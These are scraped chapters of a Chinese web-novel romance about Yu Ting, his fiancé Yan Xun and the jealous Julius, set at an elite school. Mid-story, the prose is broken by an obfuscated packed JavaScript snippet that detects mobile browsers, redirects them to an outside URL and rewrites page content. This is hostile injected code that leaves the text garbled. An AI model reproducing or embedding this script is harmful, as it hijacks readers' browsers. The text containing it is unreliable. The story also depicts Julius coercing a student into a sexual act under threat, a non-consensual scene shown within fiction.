虞听无力地摇摇头:“那人也不是故意的。” “有句古话说,以德报怨,何以报德?” 虞听勉强笑笑:“燕少爷还真是头头是道的……我知道了,下次不会把自己搞得这么狼狈。” 燕寻道:“为什么要在希莱尔面前否认我们的关系?” 虞听把风衣往上扯了扯,将椅背放低,躺下的那一刻他酸疼的后背无比放松,几乎要喟叹出声。 “这不是你的意思吗,燕少爷,”他说,“婚约的事在学校不能声张。” 燕寻黧黑的眼眸颜色更深了一分。 他沉声道:“不声张不代表要撒谎否认。更何况希莱尔在纠缠你,说出真相可以让他离你远一些。” “让他知道,就等于让整个学校知道。”虞听恹恹地咳了两声。 “你很了解他?”燕寻语气陡然加重。 信号灯变红,劳斯莱斯刹停在路口。二人身体因为惯性向前,虞听消瘦的胸口被安全带死死勒住,他抓紧盖在身上的风衣,蜷起身子低喘了一声。 燕寻表情无声无息地松动。 “抱歉,我开得太快。”他立刻说。 虞听喘息着:“……没事。” 燕寻的脸隐匿在路灯照不到的墨汁般的阴影中,深邃眼窝里盛着望不见底的汪洋。 他听上去依旧很严肃:“你和索恩夫妇聊了些什么。” 并非疑问句的语气,让虞听顿时警觉。 “你怎么知道?”虞听问。 燕寻没回答。 胸口阵阵钝痛,虞听咬唇:“你应该知道答案的。为了我父亲的改革法案能够通过,我必须帮他拉拢到足够的选票;否则等着虞家的只有政治上的出局。对我们这种家族来说,出局意味着死亡。” 燕寻:“我不知道你为什么这么担心令尊的法案,就算如此,你也没必要把宝押在索恩家族。比起求助外人,更明智的决策显然是——” 虞听闭上眼睛,睫羽在眼底投下扇形的阴影。 “你监视我。”虞听打断他。 燕寻道:“你我有婚约在身,婚约就是契约,燕氏最重契约精神,只要你开口,我父母会不遗余力地帮你运作……” 虞听轻声说:“你越界了,燕寻。” 燕寻蓦地怔住。 红灯变绿。空无一人的车道上,劳斯莱斯仿佛被美杜莎石化的雕塑,轮胎丝毫不动。 燕寻转过脸,虞听仍旧闭着眼睛,却把头转向另一边,后脑勺修剪过的短发磨蹭得微微翘起来,后颈纤细修长。 “谢谢你今天替我解围,燕少爷,”虞听再次换回平时的称谓,低声说,“只不过对于我而言,除了虞家的任何人都是外人,终将和我解除婚约的燕氏更是如此。所以不劳燕少爷你操心了。” 燕寻沉沉地盯着车窗外。他心道这人真是荒唐,虞家的掌上明珠,为了几只臭虫降尊纡贵?何至于隐忍至此? 可细想来虞听永远如此,善意也好,恶意也罢,他都像那一缕长发一样干脆地剪断,淡漠又无情。 燕寻眼神一动,目光微微往下。方才他亲手为虞听披上的风衣几乎将虞听整个身体都盖住,遮挡住燕寻的视线,只有一双裹在黑色西裤里的双腿从宽大风衣下露出来,因为身体不适的缘故,两条长腿并.拢,裤脚下露出一截包裹黑色长袜的脚踝,细得几乎和手腕一样可以轻易攥在掌心。 他蓦然发现,虞听似乎永远只有这两种分明的颜色。 雪白的皮肤,乌黑的眼眸与头发,黑白素色的衣装内敛克制,他对黑白色系的喜好似乎比燕寻还要执着,给人以禁欲的气质,让人们一想到虞听,便仿佛想起凛冬飘雪的长夜。 从小体弱多病的人不会有这般萧肃的气息。 燕寻忽然觉得,虞听像极了一个被困在这幅孱弱躯体中的深沉果决的灵魂,这具肉.体无论如何也挣扎摆脱不得,于是被迫示弱,学会和病痛共存。 他突然听见虞听的声音:“燕少爷。” 那声音疲惫极了。燕寻回过神,看见虞听转过头,薄唇微张:“该走了。” 燕寻喉结滚了滚,低低地嗯了一声。 车子驶离路口。燕寻嘴唇蠕动,几次张口,终于还是道: “我没有想要干涉你,只是现在我们的确还是名正言顺的未婚夫夫,所以……” “家里还有小蛋糕吗?”虞听捂住胃部,两腿蜷缩绞紧,“宴会上我只喝了点酒,现在其他的什么都吃不下。” 燕寻深望了虞听一眼,回过头盯着路前方,眼里翻滚着浓黑的岩浆。 “我让安珀罗斯准备。” 青年声音末尾染上不易为人察觉的沉闷与不悦。 虞听唔了一声,缩在宽大的航空座椅里,肩膀战栗着,意识逐渐模糊。 燕寻也不再说话,只是默默将油门踩得更深。劳斯莱斯如潜行的暗影,驶向路灯铺就的蜿蜒公路尽头。 * 晚上十点半。 宴会已经接近尾声。 第一批宾客已经散去。尤里乌斯和一位女士微笑着道别,随后给侍者使了个眼色,乘坐电梯来到顶楼。 顶楼没有任何外客,尤里乌斯挥手屏退打扫卫生的保姆,推开天台的门。 月明星稀,黑色的穹顶之下,别院里照亮了草坪和车道的灯光与天空的月色遥相呼应。 陆月章转过身,看见尤里乌斯反手关上天台的门,一步步向他走来。 每走上前一步,陆月章脸上的崩溃与无措就愈发明显。 “尤里乌斯学长,”陆月章解释道,“或许我真的不适合这里,我总是在不知不觉中坏了规矩……我在这里感觉好无所适从,先是莫名其妙被侍者叫到二楼的露台,而后又被两个我从来没见过的赛罗米尔学生拦住……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739768|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤里乌斯在他面前站定,脸上依然挂着亲和的微笑。 “我父亲已经告诉我了。”尤里乌斯说,“虞听学长代表虞家,和我的家族达成了政治上的合作。原本我打算在今天把你介绍给我的亲友,但计划全都打乱了。” 陆月章一愣:“什么合作?” “你不需要知道,“尤里乌斯笑意加深,”你只需要知道虞听今后将是对索恩家族至关重要的人就够了,而今天晚上,你刚刚得罪了这个你得罪不起的人。” 陆月章大吃一惊:“我没——学长你当时都看见了?” “没错,我在舞池那里看得一清二楚。” 尤里乌斯目光眺向天台下方。希莱尔·欧文的红色跑车正巧从楼下的车道驶出,大轰的油门吓了草坪上的几个宾客一跳。 尤里乌斯收回目光:“不仅如此,现在你连希莱尔·欧文也得罪了。我早就提醒过你不要留着和虞听学长一样的长发,你偏不听,现在虞听反为了不让你难堪剪短了头发,你觉得希莱尔会不会对你怀恨在心?” 陆月章抗拒地摇头,尤里乌斯笑容却渐渐消失,嘴角抿成一条直线。 “想想吧,月章,得罪了虞家和欧文家族,在赛罗米尔你还有什么立足之地?”他语气慢慢地变得循循善诱,“尤其是希莱尔,他有的是手段让你自己受不了,离开赛罗米尔。从这退学之后,你还有什么地方可去?” 陆月章鼻翼翕动,呼吸愈发沉重起来。 他眨也不眨地看了尤里乌斯好一会儿,终于低下头,握住尤里乌斯那昂贵华美的刺金礼服衣摆。 “尤里乌斯学长,”他说,“求你救救我……只有你能帮我了。” 笑意再次爬上尤里乌斯的唇角。只是这一次,他看起来多了些掩饰不住的、扭曲的兴奋意味。 “我只等你这一句话,月章。”尤里乌斯伸出手,“我以索恩家继承人的名义保证,未来四年……不,这辈子都不会有人对你下手。” “前提是,你得求求我……你得按我说的去做。” 陆月章迷惘地看着尤里乌斯。 咔哒一声,青年修长的手指挑开皮带的金属扣,他与陆月章对视,随后眼神暗示地向下。 “让我看见你的诚意吧,月章。”尤里乌斯说。 陆月章浑身一震:“尤里乌斯,这,学长你——” 他像看着一个外星人一样看着这位温文尔雅的君子。 尤里乌斯笑意加深,转身在天台的一把软椅上坐下来。 “接受不了吗?你随时可以走。”尤里乌斯道,“不过这之后你会独自面临怎样的报复,都是月章你一个人的事。想好了的话,我派车送你回家。” 铃兰花点缀在天台漆色的栏杆间,切割成流水般不规则形状的大理石茶几上反射出月光,以及陆月章面如菜色的脸。 “别担心,”尤里乌斯慢条斯理道,“不会有人知道的,也不会有人说出去。当然,我指的说出去的人,也包括月章你。” 陆月章感觉天旋地转。他站了好久,终于往前迈了一步,脚步虚浮,仿佛前面是万丈深渊。 “好极了。”尤里乌斯看着陆月章在自己面前跪下来,露出靥足的笑,对于陆月章那双心如死灰的眼睛,他仿佛看不见,也压根不在乎。 “这就对了嘛。”他愉快地说。 陆月章的背无形中微微佝偻下来,他沉重地呼吸,刚要俯身去碰尤里乌斯的礼服拉链,一只手忽然握住他的下巴,给猫儿瘙痒般摩挲着,将他的脸抬起。 陆月章心一紧。 尤里乌斯碧蓝的双眼幽幽地盯着他,似笑非笑。 “只有一个要求。”尤里乌斯说,“叫我尤尔。” 陆月章怔住了。 十分钟后,天台的门拉开。一个人影弓着身子,地下室的老鼠一样贴着墙角窜出去,跌跌撞撞跑下楼,又过了片刻,尤里乌斯整整领结,气定神闲地迈过天台的门。 他看也不看早就候在阴影处的佣人:“稍后往我给你的卡号上打一笔钱。多余的不要问。” 佣人欠身:“好的少爷。” 尤里乌斯抬脚要走,佣人垂着头低声问:“少爷,这样做……” 尤里乌斯停步:“你想说,会不会太过火了?” “不敢。”佣人讪笑,“恰恰相反,在下是觉得,这么做会不会太抬举了这个特招生。毕竟有多少人宁愿向我们索恩家献身都不够格。” 尤里乌斯静默。佣人悚然地吞了吞口水。 “也不会。”尤里乌斯淡淡一笑,“他以为学长是个滥好人,无论犯了什么错都会被苦主原谅,而其他人也会看在学长的面子上放他一马?那他就大错特错了。现在他有多侥幸,将来就会摔得多惨。” “曾经他这张脸就是赝品唯一的价值,现在学长回来了,他就什么都不是。” 淡淡说完,尤里乌斯撇下似懂非懂的佣人,抬脚离开。 35-40 第36章 第 36 章 你能叫我一声尤尔吗?…… 第一次排练结束后, 当天的情况迅速被密探们添油加醋地传播到了论坛上。 旁观者清,好事者们很快意识到排练表象下真正的一场大戏,议论什么的都有, 个顶个的不堪入目,连带着本该没存在感的陆月章都被拉了出来批判一番, 有说其抢戏的,更有甚者又拿出陆虞相貌相似的点,大肆挖苦。 污言秽语, 总归让人看不下去, 拉黑了几个帖子后, 虞听终于忍无可忍, 暂时卸载校园论坛。 三年级的最后一个学期课程压力不大, 虞听这种基本攒够学分的好学生除了提前准备准备毕业考试也没什么太重的负担。 也因此, 校庆一百五十周年的这场舞台剧,不知不觉成为了他这段时间的生活重心。 自然,作为这个世界的非原住民, 虞听同样知道舞台剧本身也是F4们感情纠葛的关键爆发点。 大隐隐于市, 每次大小排练虞听都尽量躲在角落,能不出风头就不出风头。 好在陆月章这位天选主角自带腥风血雨体质, 戏份又是女一号,每次红毛导演不是揪着他的台词和舞台站位纠正个没完,就是要平衡几位火气颇大的主演们的争斗。 渐渐的,虞听找到了排练的隐匿之道, 每次自己的戏份完事立刻开溜, 绝不多停留一秒,和他搭戏最多的尤里乌斯几次想动手动脚,都被骑士和王子明里暗里阻挠, 竟可笑地再没“得手”过。 【这么多天了,回奥林德的日子定下来没?私人航线约好了吗?】 排练后台,虞听发完消息,望着空荡荡的屏幕,忍不住扼腕。 燕寻又在玩失踪了。这次已经四五个小时没有回他,虽说有时差的缘故,可还是令人有点恼火。 不想承认自己因为等某个人一句轻飘飘的回复而心焦,虞听干脆收起手机,等着跟其余的演员一同上台。 “今天演员们要换上戏服,从头到尾完整过一遍!”红发导演这次换了个扩音喇叭在底下吼,高强度的排练已经让他嗓音沙哑,“穿上戏服就都打起精神来!” 除了没有戴假发化妆,演员们已经在剧组的帮助下换上戏服。 虞听扯了扯那件大到夸张的月牙色拖地长裙,感觉自己下半身空荡荡凉飕飕的,肋骨又被束腰勒得生疼。不知道哪个糊涂虫按照女生的尺寸租的裙子,也就是虞听腰够细,即便这样他还是勒得呼吸困难。 活动室的门突然打开,几个人鱼贯而入,最后走进来的居然是好久不见的文艺部长。 “部长你怎么来了?”红发导演转身。尽管自诩片场最大,但自家部长的面子不能不给。 “最近为了校庆,抽不出时间来看看你们这边的情况。”文体部长抱着胳膊,在导演身边坐下,“你们排练你们的,不用管我。” 导演更加来了精神,对准收音器扯着嗓子:“都准备就绪!” 舞台下的演员拖着笨重的身子,如校园祭的玩偶一样上台。男主角希莱尔走在最前面,面色恹恹的,这个敢把天捅个窟窿的主儿在神经质面前也被磨光了耐性,眼下导演大概成为他校园生活中唯一避之不及的人物。 虞听提着裙摆艰难迈上台阶,一只手突然伸出来:“扶着我,学长。” 一只骨节分明、皮肤素白的手。 他转头对上尤里乌斯碧蓝色的眼睛,对方总是挂着风度翩迁的笑,国王的披风、礼服和皇冠加之于他身上,堪称完美契合。 虞听摇摇头:“不用了,我偷偷穿了平底鞋。” 他没有搭手,走上舞台。 尤里乌斯的手停在半空中,他看着虞听的背影,对方高挑修长的身影包裹在丝绸礼服中,柔软的面料衬得青年肩胛骨的线条更加清瘦硬朗。 凛冽的英气,让他像一柄包裹在蕾丝白缎里的袖剑。 虞听照例走到舞台最安全的角落。希莱尔和林抚也已经站好,两人都看见虞听的扮相,林抚没戴眼镜,少了镜片掩饰的目光一阵闪烁,瞥向别处,而希莱尔猛地一转身,腰间的佩剑差点把一个路人甲横扫在地。 “哎唷!”遭殃的学生捂着大腿。 “去,离老子远点!”希莱尔低喝,只不过语气不够蛮横,反有点慌张。 一阵推推搡搡,演员总算各自落位。 导演自信十足地偏过头对文体部长耳语:“您来得正好,部长,今天……部长您在拍什么?” 闪光灯熄灭,文体部长放下手机:“回去要给宣传员做图片素材。” “哦。”导演恍然大悟,“部长您慢慢拍。各就位,预备!” 导演喊着不伦不类的口号,一声action,排练正式开始。 希莱尔瞪着死鱼眼上前,本该高大矫健的身姿因为精疲力尽而微驼。 “我的生命,我存在的意义,”希莱尔念着冗长的独白,“正是你,我亲爱的公主,你让我思考人生的终极命题……” 看起来王子不像是因为公主而思考人生的命题,而是对人生彻底无望了。旁观者的存在让导演恢复了些自知之明,他转头讪笑着: “部长,你也知道,让风纪委员大人配合演出已经实属不易……” 他惊讶地发现部长并没在听他讲话,甚至没在真的观看舞台剧,他噼里啪啦用手机打字,手指翻飞出残影。 “部长?”导演唤道。 文体部长头也不抬:“别管我。我在看着呢。” 导演半信半疑地回过头,看着台上演员的目光里透露出几分忧心忡忡。 就在他怀疑自己是不是要被文体部长临阵换将的同时,部长的手机屏幕正显示出一个聊天框,上面有刚拍下来发送的现场实况照片,底下的消息远远不断地发出。 【收到您的消息,我第一时间赶来了。还需要其他角度的照片吗?】 【一切非常顺利,秩序井然。有我在,您不必担心。】 对方隔了一会儿回: 【我怎么看不到“王后”?】 文体部长起身,在导演讶异的注视下欻欻按了数下快门,继续编辑发送: 【抱歉主席,刚刚的角度不大清晰。】 【“王后”站的位置比较偏。现在能够看清楚吗?】 又过了一会儿。 对方:【今天穿戏服彩排?】 【排练期间他一直都穿成这样?有没有人借此开玩笑,或者做出下流不尊重的行为?】 文体部长汗有点下来了。他不敢说因为忙,自己对舞台剧根本就是撒手不管,眼一闭心一横,干脆胡诌: 【绝对没有,这是第一次穿戏服排练,即便在之前,我也嘱咐总导演同学对王后多加关照。】 对方回了一个【好】。 一字如免罪金牌,文体部长长舒口气,赶紧补了两句问候:【主席,其实等您回来您完全可以亲自来检查彩排效果,文体部随时欢迎。】 【冒昧多说一句,如果主席您对舞台剧真的很感兴趣的话,其实……这次舞台剧本身也是给您这届毕业生的贺礼,因为规格高,海默教授要求重要任务都配备有B角。】 【我的意思是,假如您愿意……】 最后一句话文体部长实在没勇气贸然发送。 等了半晌,对方显示正在输入中。 又一会。 【彩排就不去了。给全体毕业生们的舞台剧,也不是他专门给我一个人的。】 他是谁?文体部长想问,但没问出来。 导演在旁边轻轻捅他:“部长,您快看,这场的灯光效果是我对灯光组进行魔鬼特训后呈现出来的!尤其是那个吊灯,我自掏腰包——” 文体部长忽然抓紧震动的手机低头看去,最后一条消息躺在二人的聊天框中,格外乍眼。 【不过你刚刚说,舞台剧还准备了B角?】 文体部长大喜过望,挥开导演的手,激情打字: 【是的燕主席,我给您细说……】 * 全场大排练结束,已是晚上六点钟。 人群散尽了,虞听方才从更衣室走出。他的戏服最繁复华丽,不得不求助其他人帮忙,几个一年级的学生帮虞听脱下裙子就咬牙跑出去了,仿佛见了吃人的妖怪,留下虞听独自莫名其妙。 走出社团活动大楼,外面天已经半黑。戏服勒出的印子硌得虞听腾出手揉着,腰背又酸又痛,两腿更是僵得快要不会打弯。 看了看手机,燕寻还是没有回信。 “……算了,”虞听把手机丢进书包,自言自语,“别管他死活了虞听,这是越界。” 没走几步,一个身影当在他面前。校园主干道两旁的路灯恰好亮了,那人投下的阴影正好延伸到虞听的鞋尖下。 “学长。”金发碧眼的青年对虞听永远是好脾气的微笑,“我送你回家吧。” 虞听沉默。 这几天对方一而再再而三,什么心思他不是看不懂。 他可以拒绝很多次,但尤里乌斯只会在下一次继续若无其事地对他发出邀约。 “那就麻烦了。”虞听缓步上前,“你来开车?” “嗯,”尤里乌斯看着虞听从身前经过,笑着跟上,“车上有热的蜂蜜牛奶和鱼子酱三明治,排练错过了晚饭时间,学长一定饿了吧?低血糖就不好了,路上稍微垫垫肚子。” 虞听道了声谢,二人来到停车场,一左一右上了辆劳斯莱斯闪灵。尤里乌斯不由分说帮虞听系好安全带,发动汽车。 “回家?” “不,”虞听报出一个地址,“我去这里。” 尤里乌斯设定导航地址,车子开出赛罗米尔的大门。天空一片无杂质的靛蓝色,如无边无际的穹顶。 车内很安静,发动机几乎没有声音。虞听捧着温过的蜂蜜牛奶暖手,微凉十指交叠,在玻璃瓶上留下雾气的指印。 尤里乌斯熟练地操纵着方向盘,那张任何人看了都要赞美一句俊美无俦的混血儿的脸,即便在沉沉降临的夜色下,依旧有着恍若太阳的明朗光辉。 “成年之前其实我就偷学开车了,学长你知道的。”尤里乌斯没头没脑地来了一句,又笑了笑,“驾照是成人礼之后考的。他们都说考驾照有点紧张,不过对我来说,没有我第一次开车带着学长偷偷溜出奥林德玩来的紧张。” 虞听看着车内的后视镜,尤里乌斯的眼神时不时也往镜中瞟,对视上便冲他一笑,碧蓝的双眼弯成两弯月牙湖泊。 “是么。”虞听点头。 这些都是原书里不曾写的。他是三流作者都不愿浪费笔墨的路人虞听,而尤里乌斯是路人的炮灰竹马,路人和炮灰儿时的故事,向来不被在意。 但是尤里乌斯似乎相当执着于提及这些他无从得知的过往。 “小时候我不知道学长身体不好,那时我骑着母亲买给我的自行车载你去你家附近的林场兜风,半路狂风大作,你有点害怕了,却还是陪着我去林场深处探险。”尤里乌斯打开车内的暖风,“回家时果然下了场大雨,我回家喝了一碗保姆的热姜茶,什么事都没有,你却病倒了,烧了两天两夜。” “父亲知道以后大怒,拉着我去虞家赔罪,那时你烧得满面通红,躺在床上,却对你和我的父母说一切都是你一时兴起,所以央求我陪你玩得太晚……后来每次你生病发烧时我都在想,如果不是那天我太任性,你的身体会不会比现在更好一点。” 劳斯莱斯闪灵逐渐驶出灯火辉煌的闹市区。 虞听道:“这不干你的事。” “你总是这么说。”尤里乌斯发出一声叹息般的笑,“可从那之后我就再也没法放任自己淘气了。只有和你在一起的时候,学长,我才感觉自己活得最放松,最安心。” “在别人面前,你活得很压抑么?” “你是指当一个所谓的‘气度不凡的索恩少爷’?”尤里乌斯苦笑,“可我只是个会玩得忘乎所以的小孩。除了你,其他的任何人,任何事,我从来都不在乎。” 车内的空气莫名地压缩了一般沉重。 尤里乌斯低声道:“小听哥。” 虞听阖了阖眼。 “你能叫我一声尤尔吗?”尤里乌斯带着希冀地问。 没有回应。虞听不知道该怎么回,会唤索恩少爷一声尤尔的那个人,他的小听哥已经不在了,他的小听哥死在一场注定的横祸中,而自己不过是侥幸延续了这条性命。 他没道理承受尤里乌斯的这份期待,更不该接受不属于自己的心意。 “小听哥,其实我感觉得到,我们越来越疏远了。”尤里乌斯转眼看向后视镜,“也许我做过什么让你不开心的事……你能不能像小时候那样包容我一次,我们回到从前,好么?” 闪灵拐进一条非主干道,道路两侧的灯光越来越弱,虞听瓷白的脸上神色模糊。 “我不是你的小听哥,尤里乌斯。”虞听说,“人总是会变的,这无可厚非,可你总是不愿意正视这一点。” 他说的是真话,但内心深处他也知道,尤里乌斯不会明白这话的含义。 果然,尤里乌斯怔了怔。 “看来学长还是不肯。”他默默点头,“我知道了。” 车子减速,在导航的指引下右拐。 尤里乌斯碧蓝的瞳孔突然睁大,他猛地踩下刹车,虞听猝不及防,身子往前一扑。 他直起身,看见尤里乌斯双手紧紧攥着方向盘,皮革发出咯吱咯吱的细微声响,手背青筋暴起。 “这里是哪?”他转过头,直勾勾地盯着虞听的脸,颈椎似乎都随着这个极其缓慢的动作产生僵硬的咔嚓声。 “这里,”他明知故问,“是哪?” 虞听觑起眼睛。 尤里乌斯克制不住地深呼吸,眼白浮起血丝,上下牙关紧咬,两腮僵硬得像石头。 没人见过贵公子这般堪称失控的丑态,仿佛一瞬之间换了个人,蛰伏在体内的鹰隼透过那双蓝眼睛死死地盯着他,眼底咆哮着的却并非愤怒,而是难以置信的绝望。 设定导航地址的时候尤里乌斯并没有留意。 直到现在,燕氏庄园的尖顶遥遥地出现在他面前。 虞听平静地对上尤里乌斯的目光。 “一直没有恰当的时机告诉你。”虞听说,“我订婚了,现在住在未婚夫燕寻的家。”—— 作者有话说:文艺部长扮演摄像头这一块/. 颤抖吧尤里乌斯!是时候让你知道一下谁是大小王了[狗头] 第37章 第 37 章 恨来恨去,只恨没有一席…… 尤里乌斯脸上的面具终于哗的粉碎。 “和燕寻订婚?”他解开安全带侧过身, “那个学生会主席燕寻?你和他是自愿的么?!” 虞听也解开安全带:“最初的确不是。不过……” 他想了想:“以后别在我家外面等我了,尤里乌斯。有一个成语叫做刻舟求剑,你现在做的正是一模一样的傻事。” 他伸手要打开车门, 尤里乌斯突然暴起,一把捉住虞听的手腕。 “等等!”尤里乌斯力气大到让虞听觉得自己腕骨要被捏碎, “叔叔阿姨,还有你祖母真的同意你与燕氏联姻?!你——你真的爱他么,小听哥?” 尤里乌斯牙齿都在颤抖, 他不得不咬牙切齿来掩饰窘态, 近乎恶狠狠地问道。 虞听蹙眉, 反过来端详着尤里乌斯这张被扭曲了的俊美脸庞。 即便是在被虚构出来的世界, 人与人之间依旧是不公平的。尤里乌斯有着顶级混血儿的皮囊, 出类拔萃的身世, 可那些视他为梦中情人的男男女女若是看到尤里乌斯这失控到几近癫狂的模样,美梦也会破碎了一地。 “你已经失态了,尤里乌斯。”虞听说。 “我不明白!”尤里乌斯大吼, 下一秒又低声下气, “小听哥,十年了, 我以为我们是彼此的第一选择,至少在我心里向来如此!燕寻到底好在哪,为什么他可以后来者居上?!” “我也不明白你的意思。” “你凭什么不明白!”尤里乌斯眼角肌肉快速抽动,脖颈浮起青色的血管, “我喜欢你, 从小到大,我只喜欢你一个!” 虞听一愣。 “你再不明白我就要被活活憋疯了!”尤里乌斯声音透着危险的亢奋,“我可以等你回心转意, 也可以等你愿意回头再看我一眼,可你抛下了我要去和一个半路杀出来的燕氏继承人结婚!我对你又算什么?!” 虞听深深望着他:“那陆月章呢?” “陆月章?”尤里乌斯亦是一愣,而后释然,”原来如此,难怪最近小听哥对我爱答不理。” 他眼里划过一丝轻蔑:“没错,小听哥不在的那三个月陆月章入学了,他懂事听话,最重要的是他在赛罗米尔孤立无助,只能求助我,每当他向我投来那种求救的眼神时,我都感觉到依赖感,你很久没对我有过的依赖感……小听哥,如果你介意他的话,我可以让他随时消失。” “随时消失?”虞听挑眉。 “对,”尤里乌斯笃定道,“我们不会再有任何交集。” “你觉得这样公平吗?” 尤里乌斯表情放松下来,他似乎看到希望的曙光,那种胸有成竹的笑意悄然爬上眼角眉梢。 “只要不和燕寻结婚,想怎么考验我我都无所谓。”他温情脉脉地说,“哪怕惩罚我也好,我是个混蛋,无耻之徒,小听哥晾着我没关系,我是不会放弃追求小听哥的……” 虞听轻轻道:“我是说,这对陆月章公平吗?” 尤里乌斯蓦地怔住。 虞听手背覆在尤里乌斯握着自己手腕的那只手,一根根将手指掰开。 “你说你苦等我,可陆月章却成了你随意挥霍,供你排解寂寞的替代品。”虞听说,“从前你请求我为陆月章退让的时候,我以为你是真心喜欢陆月章,而我只是你展现魅力的‘道具’,没想到你比我想象的更糟糕,尤里乌斯,你糟蹋了所有人的感情。” 尤里乌斯嘴唇白了:“当时我只是想要用这种方式引起你的注意,我以为你会因为你的青梅竹马偏心别人而吃醋……” “吃醋。”虞听淡淡一笑,“即便你的青梅竹马昏迷三个月依然大难不死,你也只是在电话里问候了两句,那时你满心都在那个让你更有‘被需要感’的陆月章身上。这也是吃醋?” 尤里乌斯瞳孔一缩:“你怎么知——” “责怪你没有意义,尤里乌斯。”虞听打断他,“你想要的太多了,以至于你自己都分不清你有多少真心。你真有自己说的那么爱我,又真的那么爱陆月章吗?” 尤里乌斯张了张口,一个音节都发不出来。 “就送到这里吧。”虞听把方才掉在地上的蜂蜜牛奶捡起来,放回置物架上,“今天车里的这些话,我们就当谁也没有听过。” “不,虞听!” 风度让人无可挑剔的年轻绅士撕下他的伪装,尤里乌斯拉住虞听的手臂,说不上是蛮横还是哀求:“告诉我你并不爱燕寻好吗?我想听你亲口说!” 虞听挣扎开:“我不喜欢你的,尤里乌斯,将来永远不会。” “为什么?!”尤里乌斯指尖发抖,为了不让虞听踏入面前该死的庄园一步,他愿意付出任何代价,“他到底好在哪?” “因为我知道燕寻和我是一样的人。”虞听说,“尤里乌斯,世上的真心瞬息万变,正因为如此,一旦打开心上的锁,燕寻的世界就不会再分享给其他人。” 尤里乌斯的颤抖也停止了。 “小听哥……”他喃喃,“你让我感觉,我好像从来没有认识过你。” 虞听打开车门,一只脚跨下车,顿了顿又回过头。 “你等的那个小听哥已经不在了。”虞听说,“我不能叫你尤尔,因为我没法把你要的那个人给你带回来,唯有这一点,我很抱歉,尤里乌斯。” 他下了车,关上车门。 尤里乌斯跌回座椅里,失神地看向前方。 闪灵惨白的车灯照亮了庄园大门,虞听黑发黑衣,清瘦修长的身影背着光走进黑暗里,如一滴墨汁融入深海。 车内冷极了,一丝温存的气息也不曾留下。 尤里乌斯深深呼吸,他胸膛愈发起伏,喘息一声重过一声,突然一阵刺耳的铃声充满了整个车内,尤里乌斯浑浊的眼神猛地一动,拿起手机。 铃声不断地吵闹,尤里乌斯举着手机,久久没有下一步动作。 他眼里泛起某种从未示人的光,那时即便在虞听面前失态时也未曾展露过的,原始而危险的眼神。 尤里乌斯按下接听键,打开免提。 来电者没有任何称呼:“喂?我现在……有打扰你吗?” 没有回话,尤里乌斯异样的、沉重的呼吸声透过话筒被清晰地收录进去,化为粗粝的电波。 来电者吞了吞口水:“你在听吗,尤里乌斯?” 封闭的车内空间让来电者声音中一点点丝线般的颤抖也清晰可辨。 尤里乌斯缓慢地一字一顿:“现在来找我。” “……唔?” “我会给你一个地址,现在马上来见我。”尤里乌斯沉声说,“你知道我的意思。” 来电者也沉默了。片刻后电话里传来窸窸窣窣的声音,对方没有挂断电话,大约是起身开始换衣服,布料摩擦声模模糊糊地从背景中传来。 尤里乌斯眸光细微错动,敛了眼皮看着屏幕上的来电人备注。 “你现在在家?”他问。 “嗯。”来电者果然在换衣服,声音都远了些。 “还住在那个出租屋么?” “嗯。” “我给你转了些钱。”尤里乌斯编辑了一个定位给来电者发过去,顺便打了一万块给对方,“不用省着花,没钱了就管我要。换一个离学校近点的地方住吧。” 衣物摩擦声顿了顿:“不了吧,这里挺好的,附近就有巴士,而且离我父母也很远。他们要是知道我的住处,又得吵着要我退学去打工。” 尤里乌斯摩挲着方向盘,若有所思。 他把车灯关了,外面顿时一片漆黑。燕氏庄园如一座泛着柔光的城堡,矗立在长夜中,矗立在他面前。 “把出租屋退了。”他坚决又直白地命令道,“我叫人给你安排个方便又不会被你父母发现的住处。” 馅饼从天上掉下来,来电者没有一丁点反应,连一句道谢都没有。 “我看见定位了,”来电者笑了笑,“就在燕氏庄园附近。听你那边的动静,你现在应该在车上。所以今天要在车里吗?” 尤里乌斯眼皮微微一跳。 “我猜,”来电者听上去声音放空,“你今天一定是被刺激得不轻吧……刚刚这些是预支给我的补偿么?” 尤里乌斯依旧一言不发。 来电者淡淡道:“我准备好了,大概二十分钟到。” “不用了。”尤里乌斯突然说道,“不用来找我了。” 来电者也不说话了。 尤里乌斯把电话拿起来,眼睛仍然盯着车前方。 几分钟之前虞听刚刚从这里头也不回地走进去,忽然之间尤里乌斯意识到对方踏入的不是夜幕深处,只是一座灯火通明、美轮美奂的庄园。 他早该知道的,可那一刻他只觉得暗无天日,所有的光都随着某个人的离开而离开。 “忽然没兴致了。”尤里乌斯不动声色道。 来电者没说话也没有动。 尤里乌斯靠在座椅里,拔下车钥匙。仪表盘的光也消失了,他抬起头,望着漫天黯淡的星光。 “今天有人对我说了一些话。他说的话,让我第一次觉得他好陌生,也让我觉得我自己好陌生。”尤里乌斯沉声说。 来电者还是不语。 尤里乌斯低低地道:“给我讲讲你的故事吧。你来到赛罗米尔这么久,我还从没认真听你讲过你的事。” “我其实讲过很多次,”来电者说,“只是那时你心里都是另一个人。” “是么,”尤里乌斯笑,“那就为我重新讲一遍吧,月章。” 电话另一端,陆月章拉上褪色的旧窗帘,在狭窄的单人床边坐下,从外套里掏出什么东西丢在桌子上。那是一盒在任何便利店都能买到的,最廉价的避y套。 “实在是个漫长又乏味的故事。”陆月章望着黑漆漆的出租屋,慢慢地说,“该从哪里……开始讲起呢。” * 虞听回到庄园,刚在一楼换了鞋,白发管家走出来,帮他拎包脱外套。 “小虞少爷,”管家说,“少爷他回来了。” 虞听倏地扶着鞋柜起身:“什么时候的事,怎么不告诉我一声?” “刚回来没多久。”燕夫人这两天稍有抱恙,吃了药早早睡了,家里因此静悄悄的,灯也都调成最温和的一档,管家嗓音都放轻许多。 虞听:“他在他自己房间?” “是,少爷回来之后一直在书房。”管家顿了顿,“小虞少爷,伊斯特芬军校的考试成绩公布了。” 